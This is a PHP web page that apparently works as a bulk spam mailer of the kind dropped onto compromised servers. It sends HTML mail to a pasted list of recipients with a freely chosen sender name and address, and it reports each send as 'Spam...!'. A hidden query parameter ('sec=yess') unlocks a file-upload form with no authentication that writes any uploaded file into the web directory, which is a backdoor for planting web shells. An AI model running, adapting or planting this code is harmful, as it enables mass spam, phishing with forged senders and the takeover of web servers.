<?php
if (function_exists('set_time_limit')) {
set_time_limit(0);
}
if (isset($_POST['Enoc'])) {
$message = $_POST['html'] ?? '';
$subject = $_POST['assunto'] ?? '';
$de = $_POST['de'] ?? '';
$nombre = $_POST['RealName'] ?? '';
$ellos = $_POST['ellos'] ?? '';
$message = stripslashes(urldecode(preg_replace("/%5C%22/", "%22", urlencode($message))));
} else {
$message = "<html><body><h1>hola my friend, How are u ?</h1></body></html>";
$subject = $_SERVER["HTTP_HOST"];
$nombre = "locales";
$de = "noreply@publimailer.com";
$ellos = "diosdelared2025@hotmail.com";
}
?>
<html>
<head><title>Mailer_2021-Piwin3tRlZ</title></head>
<body style="font-family: Arial; font-size: 11px">
<center>
<form action="" method="post" enctype="multipart/form-data" name="form1">
<br><table width="534" height="248" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC">
<tr><td>
<table border="0" bgcolor="#FFFFFF" width="95%">
<tr><td>
<table border="0" width="100%">
<tr>
<td width="359">Email: <input name="de" type="text" size="30" value="<?php echo htmlspecialchars($de); ?>"></td>
<td>Nombre: <input name="RealName" type="text" size="30" value="<?php echo htmlspecialchars($nombre); ?>"></td>
</tr>
</table>
</td></tr>
<tr><td>Asunto: <input name="assunto" type="text" size="78" value="<?php echo htmlspecialchars($subject); ?>"></td></tr>
<tr><td height="18" bgcolor="#C0C0C0"></td></tr>
<tr><td>
<table border="0" width="100%">
<tr>
<td><textarea name="html" cols="66" rows="10"><?php echo htmlspecialchars($message); ?></textarea></td>
<td><textarea rows="10" name="ellos" cols="35"><?php echo htmlspecialchars($ellos); ?></textarea></td>
</tr>
</table>
</td></tr>
<tr><td><center><br><input type="submit" name="Enoc" value="Enviar"></center><br>
<?php
if (!empty($_GET['sec']) && $_GET['sec'] == 'yess') {
echo '<form action="" method="post" enctype="multipart/form-data">
<input name="archivo" type="file" size="35" />
<input name="enviar" type="submit" value="Upload File" />
<input name="action" type="hidden" value="upload" />
</form>';
$status = "";
if ($_POST["action"] ?? '' === "upload" && isset($_FILES["archivo"])) {
$archivo = $_FILES["archivo"]['name'];
if (!empty($archivo)) {
if (move_uploaded_file($_FILES['archivo']['tmp_name'], "./" . basename($archivo))) {
$status = "Archivo subido: <b>" . htmlspecialchars($archivo) . "</b>";
} else {
$status = "Error al subir el archivo";
}
} else {
$status = "Error al subir archivo";
}
echo $status;
}
}
if (!isset($_POST['Enoc'])) {
exit;
}
$emails = isset($_GET['c']) ? explode(",", $ellos) : explode("\n", $ellos);
$son = count($emails);
$header = "MIME-Version: 1.0\r\n";
$header .= "Content-type: text/html; charset=iso-8859-1\r\n";
$header .= "From: $nombre <$de>\r\n";
$header .= "Reply-To: $de\r\n";
$header .= "X-Priority: 3\r\n";
$header .= "X-MSMail-Priority: Normal\r\n";
$header .= "X-Mailer: " . $_SERVER["HTTP_HOST"];
$i = 0;
$voy = 1;
foreach ($emails as $email) {
$mail = trim(str_replace(["\n", "\r\n"], '', $email));
$message1 = str_replace('%email%', $mail, $message);
if (!empty($_GET['time']) && !empty($_GET['cant']) && $i > 0 && $i % $_GET['cant'] == 0) {
echo "----------------------------------> wait {$_GET['time']} Segs. Sending to {$_GET['notf']}...<br>\n";
flush();
mail($_GET['notf'], $subject, $message, $header);
sleep((int)$_GET['time']);
}
if (mail($mail, $subject, $message1, $header)) {
echo "<font color=blue face=verdana size=1> $voy de $son ;-) $mail Spam...!</font><br>\n";
} else {
echo "<font color=red face=verdana size=1> $voy de $son :-( $mail Error de envio!!</font><br>\n";
}
flush();
$i++;
$voy++;
}
echo "<script>alert('---Todos Terminados---');</script>";
?>
</td></tr>
</table>
</td></tr>
</table>
</form>
</center>
</body>
</html>